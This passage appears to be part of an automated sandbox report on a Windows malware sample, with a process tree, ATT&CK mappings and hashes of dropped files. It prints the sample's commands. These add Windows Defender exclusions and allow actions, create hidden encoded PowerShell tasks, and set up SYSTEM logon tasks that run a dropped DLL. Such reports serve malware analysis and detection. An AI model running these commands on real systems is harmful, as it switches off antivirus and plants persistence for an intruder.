    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2332
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2140
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4968
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2588
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NyEjIjTKcgUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NyEjIjTKcgUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\apEsASyFuIiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\apEsASyFuIiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lfOnEEhKbCnrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lfOnEEhKbCnrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zrJLdGmZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zrJLdGmZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VrqKfglOpvufnsVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VrqKfglOpvufnsVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JVZeETtDLNTYDPHkO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JVZeETtDLNTYDPHkO\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\BmmBDwnMUhDWLRVP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\BmmBDwnMUhDWLRVP\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3488
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1992
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2732
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NyEjIjTKcgUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4780
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NyEjIjTKcgUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\apEsASyFuIiU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1456
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\apEsASyFuIiU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4868
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lfOnEEhKbCnrC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lfOnEEhKbCnrC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zrJLdGmZU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zrJLdGmZU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VrqKfglOpvufnsVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VrqKfglOpvufnsVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:404
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4356
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:408
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JVZeETtDLNTYDPHkO /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JVZeETtDLNTYDPHkO /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\BmmBDwnMUhDWLRVP /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\BmmBDwnMUhDWLRVP /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3724
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gJAigKDDX" /SC once /ST 05:08:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4388
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gJAigKDDX"
  2⤵
  PID:4716
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gJAigKDDX"
  2⤵
  PID:2208
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YTZHHbLeBpfcMhprv"
  2⤵
  PID:3492
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YTZHHbLeBpfcMhprv"
  2⤵
  PID:4720
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YTZHHbLeBpfcMhprv2"
  2⤵
  PID:4628
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YTZHHbLeBpfcMhprv2"
  2⤵
  PID:440
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "CdqJpFcYIlBKLQfme"
  2⤵
  PID:116
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "CdqJpFcYIlBKLQfme"
  2⤵
  PID:1580
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "CdqJpFcYIlBKLQfme2"
  2⤵
  PID:4400
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "CdqJpFcYIlBKLQfme2"
  2⤵
  PID:1252
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YuDNKSNENCiFGREvSfS"
  2⤵
  PID:4212
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YuDNKSNENCiFGREvSfS"
  2⤵
  PID:1432
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YuDNKSNENCiFGREvSfS2"
  2⤵
  PID:1676
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YuDNKSNENCiFGREvSfS2"
  2⤵
  PID:2660
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "JuDUzmStdeWYgPESkVJ"
  2⤵
  PID:1356
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JuDUzmStdeWYgPESkVJ"
  2⤵
  PID:5016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "JuDUzmStdeWYgPESkVJ2"
  2⤵
  PID:1740
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JuDUzmStdeWYgPESkVJ2"
  2⤵
  PID:4788
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zrJLdGmZU\rLzDcW.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "YilmPFepkPoXLLV" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2088
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UxfTljVOivKcGgY"
  2⤵
  PID:180
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UxfTljVOivKcGgY"
  2⤵
  PID:1812
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UxfTljVOivKcGgY2"
  2⤵
  PID:4660
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UxfTljVOivKcGgY2"
  2⤵
  PID:1240
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "phsCLWFUlqWUQZ"
  2⤵
  PID:2772
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "phsCLWFUlqWUQZ"
  2⤵
  PID:3900
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "WtxAWCxPuNTXC"
  2⤵
  PID:4892
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "WtxAWCxPuNTXC"
  2⤵
  PID:3376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "WtxAWCxPuNTXC2"
  2⤵
  PID:3036
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "WtxAWCxPuNTXC2"
  2⤵
  PID:2848
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "YilmPFepkPoXLLV2" /F /xml "C:\Program Files (x86)\zrJLdGmZU\hCnDjau.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:824
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "YilmPFepkPoXLLV"
  2⤵
  PID:980
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "YilmPFepkPoXLLV"
  2⤵
  PID:4696
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VBeTqquOjzmYDK" /F /xml "C:\Program Files (x86)\apEsASyFuIiU2\OlGBbgk.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2408
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "PvHyfXAhjPwfb2" /F /xml "C:\ProgramData\VrqKfglOpvufnsVB\TYHkvit.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:116
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "CdqJpFcYIlBKLQfme2" /F /xml "C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR\SgPLACB.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4676
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JuDUzmStdeWYgPESkVJ2" /F /xml "C:\Program Files (x86)\lfOnEEhKbCnrC\PmuFORc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4704
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3924 -s 1460
  2⤵
  - Program crash
  PID:4624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2092
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3520

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3924 -ip 3924
1⤵
PID:4924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SgPLACB.xml

Path C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR\SgPLACB.xml
Size 2KB
SHA256 e962d82da462c9587f4eeabc7621b458d6163f65f8339557e3e3477caec06443
MD5 f1831cb24469942175e89df8f2515595
SHA1 ec03e7b82aafc7de790bf4b6384602a7c08f9711
SHA512 3e59e001ab53fd000a3ea08ac4bb0c6e31263d9d9970c3177b242e9d7c57174bb13e40652497e2e4c0ef86cd5c8640ceff70c9c2dd3d5aa4e49479b104aca741
MD5 SHA1 SHA512

Submit Download

OlGBbgk.xml

Path C:\Program Files (x86)\apEsASyFuIiU2\OlGBbgk.xml
Size 2KB
SHA256 f0627db3136adcb504e7b190e27637d0841cc08dca1fdd7d78e84772ab06af93
MD5 4089b8dbdd88060b5a1fc26707f2aefe
SHA1 a4eb8158004f573366a3b860c60951e44e837247
SHA512 5dd7e56fbc476c261b8cc54f1d19a7b8496997bb4030097339db0675f9b37bab600c20959bbb559802798b44390638a1c9865a13ab9ebf96e413e6f89ab82a73
MD5 SHA1 SHA512

Submit Download

PmuFORc.xml

Path C:\Program Files (x86)\lfOnEEhKbCnrC\PmuFORc.xml
Size 2KB
SHA256 5f844f79656886e7f972da4747507c74693b43cdb42408b92b65b65fdefdda3e
MD5 3e59d1ff7ea0ec2fdc5101e8f4acd8da
SHA1 b89c41f9a90c22c4640467744c07427e74235414
SHA512 25290901eb80e16f4b564461139bc25daf4727fa79c10315b948c3b47d65621906159ad90bf5acfedb2a35bf20b64feeaf256eee35e98c84fb8a244b43749721
MD5 SHA1 SHA512

Submit Download

hCnDjau.xml

Path C:\Program Files (x86)\zrJLdGmZU\hCnDjau.xml
Size 2KB
SHA256 e3adcff6f011b8811f91fab96957418c2f33311db10f4c6d847c9ed56d4d3e20
MD5 8d01d9e1a604c31e940b23d7c9b9da93
SHA1 a2d3ee87d305d0db16e4bc337ea22d59f7a3e2ad
SHA512 e1309e93cbbff482e1845696e0fa7512ae8b234cad2bf43660a726024dbf3e8834e14d712094eb6bc588d8ce5716b04f66c30cd7466a4be29771dcf9eaf79c03
MD5 SHA1 SHA512

Submit Download

{C080EAF2-4DD7-4F7F-896F-5F0157A06C60}.xpi

Path C:\Program Files\Mozilla Firefox\browser\features\{C080EAF2-4DD7-4F7F-896F-5F0157A06C60}.xpi
Size 641KB
SHA256 86ef6a25a167bbc6f21b42e90d8102b50a8d64b88367d6eee5f7fad4b78b50b7
MD5 2d92066ae1dc8d92819e4f800ef07828
SHA1 ee639eeb5fa9631b4bcc01491d66f8eea7d99e27
SHA512 e424a528f10e3e1bd529774c32c707d323bf598268dfe4cf214fb0cb473e5e8da069de4274b58a1bd6b63a48c8a5d569dd86d61c9bb422c1ec1f0f5b4b5ef01c
SSDEEP 12288:XOHwgkpaP09dVoUHUYfa6qsfdiAtjbprUos/bwIdv2TaLcziN5Pq/dw+5RRWaX4I:1ENskD7IQC
MD5 SHA1 SHA512 SSDEEP

Submit Download

TYHkvit.xml

Path C:\ProgramData\VrqKfglOpvufnsVB\TYHkvit.xml
Size 2KB
SHA256 a01c491d47e01658c23ae967d85866b1041ffb48fe032b021336acc62bbf9de8
MD5 3de9d264e306bc5236997a5b4f7ee692
SHA1 5781f8a3be49e6b7eb6549691247a68c8a5e8c1a
SHA512 98bd1b77a01d5a8e4b1f51ee27e666e175fde174e6062e98bdb10518f0e4cf5fc31b137c77d23a37b59ca6cf4b8d6292c06df7b965d3ba929f61a33e5697a189
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\cgmkehcjkfcnlkmaddhdkbmeepcjmigg\1.02.02_0\_locales\en\messages.json
Size 150B
SHA256 9bb88ea0dcd22868737f42a3adbda7bf773b1ea07ee9f4c33d7a32ee1d902249
MD5 33292c7c04ba45e9630bb3d6c5cabf74
SHA1 3482eb8038f429ad76340d3b0d6eea6db74e31bd
SHA512 2439a27828d05bddec6d9c1ec0e23fc9ebb3df75669b90dbe0f46ca05d996f857e6fbc7c895401fecfae32af59a7d4680f83edca26f8f51ca6c00ef76e591754
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\cgmkehcjkfcnlkmaddhdkbmeepcjmigg\1.02.02_0\_locales\pt_BR\messages.json
Size 161B
SHA256 5e206dd2dad597ac1d7fe5a94ff8a1a75f189d1fe41c8144df44e3093a46b839
MD5 5c5a1426ff0c1128c1c6b8bc20ca29ac
SHA1 0e3540b647b488225c9967ff97afc66319102ccd
SHA512 1f61809a42b7f34a3c7d40b28aa4b4979ae94b52211b8f08362c54bbb64752fa1b9cc0c6d69e7dab7e5c49200fb253f0cff59a64d98b23c0b24d7e024cee43c4
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
MD5 def65711d78669d7f8e69313be4acf2e
SHA1 6522ebf1de09eeb981e270bd95114bc69a49cda6
SHA512 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\hgdlbdfhokgghlojnkonhkcdlamolagk\1.0.1_0\_locales\es\messages.json
Size 186B
SHA256 1e16982fac30651f8214b23b6d81d451cc7dbb322eb1242ae40b0b9558345152
MD5 a14d4b287e82b0c724252d7060b6d9e9
SHA1 da9d3da2df385d48f607445803f5817f635cc52d
SHA512 1c4d1d3d658d9619a52b75bad062a07f625078d9075af706aa0051c5f164540c0aa4dacfb1345112ac7fc6e4d560cc1ea2023735bcf68b81bf674bc2fb8123fb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 a610bb01f592ddb3fe443c7ac7c5742b356f21f662f64053e654308acbe1ca4e
MD5 9bcbf3b411c7f664749f99e11dce219b
SHA1 9c2674091b3e3e2c7b1fa8fb7855b04c907ca2f2
SHA512 354dd1659a57f80b043bfbe23b0253dfa766129cc9d35d77b66ac172daeece4764c0d92542f1e2eab8adb3879195232e7821521552c3aaf40a9c5f2606e22a93
SSDEEP 384:drf+2W09i+nli0KBI+21Ak19o9oTTVK6seYpME/N03SoZ+fYSgqjEk8:1fKAldOt2B1+oTTVNKr2SZWAEk8
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 0b0d7da2ba263a962c9478f604a09c34c7b91c40688f16a9c251eb12772f5592
MD5 43309d11ed2e3418c1079377e6cfd525
SHA1 4eba2ac463964ee2c30e5f3c9134fecb0a200b71
SHA512 ed2b10ab966ae0daa54a0d6bdd1959c76bff8db5b585ec9b56386d63db190d9c0ffa2e410ea9c01be434f15034ea9f19cd8c56ed380196054c707d5e1c9b958a
SSDEEP 192:snrf+U991ada60VF/ut9vQ5V+0xTxk+Yswo9oDdjWXA4TGsBLdxYtLIxbKvmBiFk:srf+U991waL/uTm+SVklo9oDdYT5NY1o
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 3997325cb3bb7128c3104faab10f6714b67e096a80640b914196c1c0b778b4d9
MD5 79e53773f24232b769b6e2bfe92e7389
SHA1 c89d3465ad635c1e591ce1d20e613cb38452f2dc
